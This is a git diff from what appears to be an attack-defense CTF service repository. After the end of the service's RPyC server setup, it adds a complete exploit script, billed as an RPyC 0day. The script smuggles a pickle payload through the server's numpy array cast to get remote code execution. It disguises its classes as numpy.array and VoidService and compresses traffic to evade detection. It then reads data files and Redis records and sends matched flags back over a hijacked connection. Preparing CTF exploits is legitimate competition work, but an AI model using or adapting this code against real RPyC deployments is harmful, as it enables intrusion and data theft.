storage.FileStorage(settings.data_dir) + except Exception as err: + logger.critical("failed to initialize file storage", error=str(err)) + exit(1) + + logger.warn("starting conveyor service", port=settings.listen_port) + + rpyc_logger = structlog.stdlib.get_logger("rpyc") + rpyc_logger.setLevel(logging.WARN) + + server = rpyc.ThreadedServer( + classpartial(GoldConveyorService, repository, files), + port=settings.listen_port, + logger=rpyc_logger, + protocol_config=dict( + allow_safe_attrs=True, + allow_exposed_attrs=False, + include_local_traceback=settings.debug, + include_local_version=settings.debug, + allow_pickle=False, + ), + ) + + alive = True + + def shutdown(*_): + nonlocal alive + alive = False + + for sig in (signal.SIGTERM, signal.SIGINT): + signal.signal(sig, shutdown) + + def shutdown_watcher(): + while alive: + time.sleep(1) + + logger.warn("shutting down conveyor service") + + server.close() + repository.close() + + shutdown_thread = threading.Thread(target=shutdown_watcher) + shutdown_thread.start() + + server.start() diff --git a/sploits/conveyor/.tool-versions b/sploits/conveyor/.tool-versions new file mode 100644 index 0000000..a7bdacf --- /dev/null +++ b/sploits/conveyor/.tool-versions @@ -0,0 +1 @@ +python 3.11.7 diff --git a/sploits/conveyor/conveyor-rpyc-0day.py b/sploits/conveyor/conveyor-rpyc-0day.py new file mode 100644 index 0000000..5846398 --- /dev/null +++ b/sploits/conveyor/conveyor-rpyc-0day.py @@ -0,0 +1,98 @@ +import sys +import zlib +from typing import cast + +import rpyc + +if len(sys.argv) < 2: + print(f"Usage: {sys.argv[0]} [TASK_IP] [account IDs...]", file=sys.stderr) + exit(-1) + +TASK_IP = sys.argv[1] +ACCOUNT_IDS = sys.argv[2:] + + +class Exploit: + def __init__(self, code: str): + transformed = zlib.compress(code.encode()).hex() + # or __import__('numpy').array([[1]]) needed to avoid raising error, + # this way the traffic is way less suspicious. + # [[1]] here and later during fit_ridge is needed to avoid ridge fit error. + self.code = f"exec(__import__('zlib').decompress(bytes.fromhex('{transformed}'))) or __import__('numpy').array([[1]])" + + def __array__(self): + pass + + def __reduce__(self): + return (__import__("builtins").eval, (self.code,)) + + +# Obfuscate exploit class name in traffic +Exploit.__module__ = "numpy" +Exploit.__name__ = "array" + +# Always compress data to obfuscate payload in traffic +rpyc.Channel.COMPRESSION_THRESHOLD = 0 # type: ignore + +payload = """ +import inspect +import re +import os + +stack = inspect.stack() +handle_call_stack = next(filter(lambda s: s.function == '_handle_call', stack)) +conn = handle_call_stack.frame.f_locals['self'] +send = lambda conn, s: conn._send(2, 1337, conn._box(__import__('zlib').compress(s.encode()))) + +flagre = re.compile(b'[A-Z0-9]{31}=') +for filename in os.listdir('/conveyor/data'): + with open('/conveyor/data/'+filename, 'rb') as f: + data = f.read() + for flag in flagre.findall(data): + send(conn, 'file flag ' + flag.decode()) + +for account in conn.root.data: + datasets = conn._local_root.repository.list_datasets(account) + for dataset in datasets: + send(conn, 'redis flag ' + dataset.name + ' ' + dataset.description) +""" + + +# Override _seq_request_callback in rpyc.Connection to always handle the special seq id 1337, +# which will be used for all data exfiltration +def _seq_request_callback(self, msg, seq, is_exc, obj): + if seq == 1337: + print(f"Exfiltrated data: {zlib.decompress(obj).decode()}") + return + + _callback = self._request_callbacks.pop(seq, None) + if _callback is not None: + _callback(is_exc, obj) + elif self._config["logger"] is not None: + debug_msg = "Recieved {} seq {} and a related request callback did not exist" + self._config["logger"].debug(debug_msg.format(msg, seq)) + + +rpyc.Connection._seq_request_callback = _seq_request_callback + + +# Service for sending data to the payload (i.e. user IDs for requesting data from redis). +# Called VoidService to resemble the default rpyc VoidService. +class VoidService(rpyc.Service): + def __init__(self, data): + self.data = data + + def _rpyc_getattr(self, name): + if name == "data": + return self.data + raise AttributeError() + + +VoidService.__module__ = rpyc.VoidService.__module__ +VoidService.__name__ = rpyc.VoidService.__name__ + +# Establish RPYC connection with allowed pickle.dumps on the client, then trigger the exploit via the np.array cast in fit_ridge. +conn: rpyc.Connection = rpyc.connect( + host=TASK_IP, port=12378, config=dict(allow_pickle=True), service=VoidService(ACCOUNT_IDS) # type: ignore +) +conn.root.model_conveyor.fit_ridge(cast(list, Exploit(payload)), [[1]]) diff --git a/sploits/conveyor/poetry.lock b/sploits/conveyor/poetry.lock new file mode 100644 index 0000000..9461cfd --- /dev/null +++ b/sploits/conveyor/poetry.lock @@ -0,0 +1,62 @@ +# This file is automatically @generated by Poetry 1.7.1 and should not be changed by hand. + +[[package]] +name = "plumbum" +version = "1.8.2" +description = "Plumbum: shell combinators library" +optional = false +python-versions = ">=3.6" +files = [ + {file = "plumbum-1.8.2-py3-none-any.whl", hash = "sha256:3ad9e5f56c6ec98f6f7988f7ea8b52159662ea9e915868d369dbccbfca0e367e"}, + {file = "plumbum-1.8.2.tar.gz", hash = "sha256:9e6dc032f4af952665f32f3206567bc23b7858b1413611afe603a3f8ad9bfd75"}, +] + +[package.dependencies] +pywin32 = {version = "*", markers = "platform_system == \"Windows\" and platform_python_implementation != \"PyPy\""} + +[package.extras] +dev = ["paramiko", "psutil", "pytest (>=6.0)", "pytest-cov", "pytest-mock", "pytest-timeout"] +docs = ["sphinx (>=4.0.0)", "sphinx-rtd-theme (>=1.0.0)"] +ssh = ["paramiko"] + +[[package]] +name = "pywin32" +version = "306" +description = "Python for Window Extensions" +optional = false +python-versions = "*" +files = [ + {file = "pywin32-306-cp310-cp310-win32.whl", hash = "sha256:06d3420a5155ba65f0b72f2699b5bacf3109f36acbe8923765c22938a69dfc8d"}, + {file = "pywin32-306-cp310-cp310-win_amd64.whl", hash = "sha256:84f4471dbca1887ea3803d8848a1616429ac94a4a8d05f4bc9c5dcfd42ca99c8"}, + {file = "pywin32-306-cp311-cp311-win32.whl", hash = "sha256:e65028133d15b64d2ed8f06dd9fbc268352478d4f9289e69c190ecd6818b6407"}, + {file = "pywin32-306-cp311-cp311-win_amd64.whl", hash = "sha256:a7639f51c184c0272e93f244eb24dafca9b1855707d94c192d4a0b4c01e1100e"}, + {file = "pywin32-306-cp311-cp311-win_arm64.whl", hash = "sha256:70dba0c913d19f942a2db25217d9a1b726c278f483a919f1abfed79c9cf64d3a"}, + {file = "pywin32-306-cp312-cp312-win32.whl", hash = "sha256:383229d515657f4e3ed1343da8be101000562bf514591ff383ae940cad65458b"}, + {file = "pywin32-306-cp312-cp312-win_amd64.whl", hash = "sha256:37257794c1ad39ee9be652da0462dc2e394c8159dfd913a8a4e8eb6fd346da0e"}, + {file = "pywin32-306-cp312-cp312-win_arm64.whl", hash = "sha256:5821ec52f6d321aa59e2db7e0a35b997de60c201943557d108af9d4ae1ec7040"}, + {file = "pywin32-306-cp37-cp37m-win32.whl", hash = "sha256:1c73ea9a0d2283d889001998059f5eaaba3b6238f767c9cf2833b13e6a685f65"}, + {file = "pywin32-306-cp37-cp37m-win_amd64.whl", hash = "sha256:72c5f621542d7bdd4fdb716227be0dd3f8565c11b280be6315b06ace35487d36"}, + {file = "pywin32-306-cp38-cp38-win32.whl", hash = "sha256:e4c092e2589b5cf0d365849e73e02c391c1349958c5ac3e9d5ccb9a28e017b3a"}, + {file = "pywin32-306-cp38-cp38-win_amd64.whl", hash = "sha256:e8ac1ae3601bee6ca9f7cb4b5363bf1c0badb935ef243c4733ff9a393b1690c0"}, + {file = "pywin32-306-cp39-cp39-win32.whl", hash = "sha256:e25fd5b485b55ac9c057f67d94bc203f3f6595078d1fb3b458c9c28b7153a802"}, + {file = "pywin32-306-cp39-cp39-win_amd64.whl", hash = "sha256:39b61c15272833b5c329a2989999dcae836b1eed650252ab1b7bfbe1d59f30f4"}, +] + +[[package]] +name = "rpyc" +version = "5.3.1" +description = "Remote Python Call (RPyC) is a transparent and symmetric distributed computing library" +optional = false +python-versions = ">=3.7" +files = [ + {file = "rpyc-5.3.1-py3-none-any.whl", hash = "sha256:6e8153792ac221a80f420d2e0b241a10c6e43b105d325998b18a4e7af329f9ec"}, + {file = "rpyc-5.3.1.tar.gz", hash = "sha256:f2233174879faf18ae266437d5a65511ce46c817cec4edc1344f036758cfbf52"}, +] + +[package.dependencies] +plumbum = "*" + +[metadata] +lock-version = "2.0" +python-versions = "~3.11" +content-hash = "6dd777690be524f9a2aa4e5f06a3dce011fe739b19caf878b8e95f7d9f8ab189" diff --git a/sploits/conveyor/pyproject.toml b/sploits/conveyor/pyproject.toml new file mode 100644 index 0000000..3dca8a7 --- /dev/null +++ b/sploits/conveyor/pyproject.toml @@ -0,0 +1,16 @@ +[tool.poetry] +name = "conveyor-sploit" +version = "1.33.7" +description = "Conveyor service exploit via 0day in RPYC." +authors = ["renbou"] +license = "Apache-2.0" +readme = "README.md" + +[tool.poetry.dependencies] +python = "~3.11" +rpyc = "5.3.1" + + +[build-system] +requires = ["poetry-core"] +build-backend = "poetry.core.masonry.api"